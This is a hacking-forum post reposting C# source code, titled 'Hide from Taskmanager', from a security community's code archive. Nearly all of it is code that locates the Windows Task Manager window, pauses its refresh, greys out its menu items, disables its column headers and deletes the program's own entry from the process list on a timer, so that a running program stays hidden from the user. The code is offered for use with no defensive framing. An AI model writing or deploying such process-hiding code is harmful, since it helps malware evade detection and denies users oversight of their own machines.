Jump to content
Nytro

[C#] Hide from Taskmanager

Recommended Posts

/////////////////////////////////////////////////////////////////

// R00TSECURITY.ORG - YOUR SECURITY COMMUNITY

// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

// [2008-07-15] Hide from Taskmanager

// r00tsecurity -> Source Code Center :: Hide from Taskmanager

// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

// GENERATED ON: 2011-01-13 | 17:31:42

/////////////////////////////////////////////////////////////////

CODE INFO

This code is based off a source in vb6 I saw once. I ported it to C# and it works perfectly (after a few adjustements :))

SOURCE CODE

:::=== WINAPI.CS ===:::
using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;

namespace WinApi
{

class User32
{
public const Int32 WM_COMMAND = 273;
public const Int32 MF_ENABLED = 0;
public const Int32 MF_GRAYED = 1;
public const Int32 LVM_FIRST = 4096;
public const Int32 LVM_DELETEITEM = (LVM_FIRST + 8);
public const Int32 LVM_SORTITEMS = (LVM_FIRST + 48);
[DllImport("user32", EntryPoint = "FindWindowA", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
public static extern Int32 FindWindow(string lpClassName, string lpWindowName);
[DllImport("user32", EntryPoint = "FindWindowExA", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
public static extern Int32 FindWindowEx(Int32 hWnd1, Int32 hWnd2, string lpsz1, string lpsz2);
[DllImport("user32", EntryPoint = "EnableWindow", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
public static extern bool EnableWindow(Int32 hwnd, Int32 fEnable);
[DllImport("user32", EntryPoint = "GetMenu", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
public static extern Int32 GetMenu(Int32 hwnd);
[DllImport("user32", EntryPoint = "GetSubMenu", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
public static extern Int32 GetSubMenu(Int32 hMenu, Int32 nPos);
[DllImport("user32", EntryPoint = "GetMenuState", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
public static extern Int32 GetMenuState(Int32 hMenu, Int32 wID, Int32 wFlags);
[DllImport("user32", EntryPoint = "GetMenuItemID", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
public static extern Int32 GetMenuItemID(Int32 hMenu, Int32 nPos);
[DllImport("user32", EntryPoint = "EnableMenuItem", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
public static extern Int32 EnableMenuItem(Int32 hMenu, Int32 wIDEnableItem, Int32 wEnable);
/*[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = false)]
public static extern IntPtr SendMessage(IntPtr hWnd, uint Msg, IntPtr wParam, StringBuilder lParam);*/

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = false)]
public static extern IntPtr SendMessage(IntPtr hWnd, uint Msg, IntPtr wParam, String lParam);
//Also can add 'ref' or 'out' ahead 'String lParam'
// -- Do not use 'out String', use '[Out] StringBuilder' instead and initialize the string builder
// with proper length first. Dunno why but that is the only thing that worked for me.
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = false)]
public static extern IntPtr SendMessage(IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam);

[DllImport("user32", EntryPoint = "GetDesktopWindow", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
public static extern Int32 GetDesktopWindow();
[DllImport("user32", EntryPoint = "LockWindowUpdate", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
public static extern Int32 LockWindowUpdate(Int32 hwndLock);
}
}

:::=== FORM1.CS ===:::

using WinApi;
System.Timers.Timer taskmanTimer = new System.Timers.Timer(700);

#region Hide from taskmanager
//Begin remove proccess from taskman timer
private void removeFromTaskManager()
{

taskmanTimer.Elapsed += new System.Timers.ElapsedEventHandler(taskmanTimer_Elapsed);
taskmanTimer.Enabled = true;

}

//Timer to remove procces from taskmanager
void taskmanTimer_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
{
Int32 lhWndParent = User32.FindWindow(null, "Windows Task Manager");
/////Define Handles//////
Int32 lhWndDialog = 0;
Int32 lhWndEndTaskButton = 0;
Int32 lhWndEndProcessButton = 0;
Int32 lhWndProcessList = 0;
Int32 lhWndProcessHeader = 0;
Int32 lhWndTaskList = 0;
Int32 lhWndTaskHeader = 0;
Int32 ProcessItemCount = 0;
Int32 ProcessItemIndex = 0;
Int32 TaskItemCount = 0;
Int32 TaskItemIndex = 0;
/////Get Menues/////
//Get main menu
Int32 hMenu = User32.GetMenu(lhWndParent);
//Get View menu
Int32 hViewMenu = User32.GetSubMenu(hMenu,2);
//Get Update Speed Menu
Int32 hUpdateSpeed = User32.GetSubMenu(hViewMenu, 1);
//Get Refresh Now Button
Int32 hRefreshNow = User32.GetMenuItemID(hViewMenu, 0);
//Get High
Int32 hHighRate = User32.GetMenuItemID(hUpdateSpeed, 0);
//Get Normal
Int32 hNormalRate = User32.GetMenuItemID(hUpdateSpeed, 1);
//Get Low
Int32 hLowRate = User32.GetMenuItemID(hUpdateSpeed, 2);
//Get Paused
Int32 hPausedRate = User32.GetMenuItemID(hUpdateSpeed, 3);
for (int i = 1; i < 7; i++)
{
lhWndDialog = User32.FindWindowEx(lhWndParent, lhWndDialog, null, null);
if(lhWndTaskList == 0)
lhWndTaskList = User32.FindWindowEx(lhWndDialog, 0, "SysListView32", "Tasks");
if(lhWndTaskHeader == 0)
lhWndTaskHeader = User32.FindWindowEx(lhWndTaskList, 0, "SysHeader32", null);
if(lhWndEndTaskButton == 0)
lhWndEndTaskButton = User32.FindWindowEx(lhWndDialog, lhWndTaskList, "Button", "&End Task");
if(lhWndProcessList == 0)
lhWndProcessList = User32.FindWindowEx(lhWndDialog, 0, "SysListView32", "Processes");
if(lhWndProcessHeader == 0)
lhWndProcessHeader = User32.FindWindowEx(lhWndProcessList, 0, "SysHeader32", null);
if(lhWndEndProcessButton == 0)
lhWndEndProcessButton = User32.FindWindowEx(lhWndDialog, lhWndProcessList, "Button", "&End Process");
}

//Pause the update speed

User32.SendMessage((IntPtr)lhWndParent, User32.WM_COMMAND, (IntPtr)hPausedRate, IntPtr.Zero);
//User32.SendMessage((IntPtr)lhWndParent,(uint)User32.WM_COMMAND,(IntPtr)hPausedRate,
/////Disable Menu Items//////
User32.EnableMenuItem(hMenu,hRefreshNow,User32.MF_GRAYED);
User32.EnableMenuItem(hMenu,hLowRate,User32.MF_GRAYED);
User32.EnableMenuItem(hMenu,hNormalRate,User32.MF_GRAYED);
User32.EnableMenuItem(hMenu,hHighRate,User32.MF_GRAYED);
User32.EnableMenuItem(hHighRate, hPausedRate, User32.MF_GRAYED);
User32.EnableWindow(lhWndProcessHeader, 0);
User32.EnableWindow(lhWndTaskHeader, 0);

Process[] Processes;
Int32 z;
string item;
ListBox list = new ListBox();
list.Sorted = true;
Processes = Process.GetProcesses();
foreach (Process p in Processes)
{
if (p.ProcessName.ToString() == "Idle")
list.Items.Add("System Idle Process");
else
list.Items.Add(p.ProcessName.ToString());

}
ProcessItemCount = Processes.Length;
ProcessItemCount--;
string HideMe = Process.GetCurrentProcess().ProcessName;
for (int x = 0; x != ProcessItemCount; x++)
{
item = list.Items[x].ToString();
if (item == HideMe)
proccessIndex = x;
}
User32.LockWindowUpdate(lhWndProcessList);
//refresh
User32.SendMessage((IntPtr)lhWndParent, User32.WM_COMMAND, (IntPtr)hRefreshNow, IntPtr.Zero);
//sort items
User32.SendMessage((IntPtr)lhWndProcessList, User32.LVM_SORTITEMS, IntPtr.Zero,null);
//Delete ourselves from the list >=D
User32.SendMessage((IntPtr)lhWndProcessList, User32.LVM_DELETEITEM, (IntPtr)proccessIndex, IntPtr.Zero);
User32.LockWindowUpdate(0);
if (lhWndParent == 0)
//taskmanager is closed refrsh every 800 miliseconds
taskmanTimer.Interval = 800;
else
//taskmanager is open and paused. we don't have to refresh as fast
taskmanTimer.Interval = 2500;
}
#endregion

removeFromTaskManager();

// r00tsecurity -> Source Code Center :: Hide from Taskmanager

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...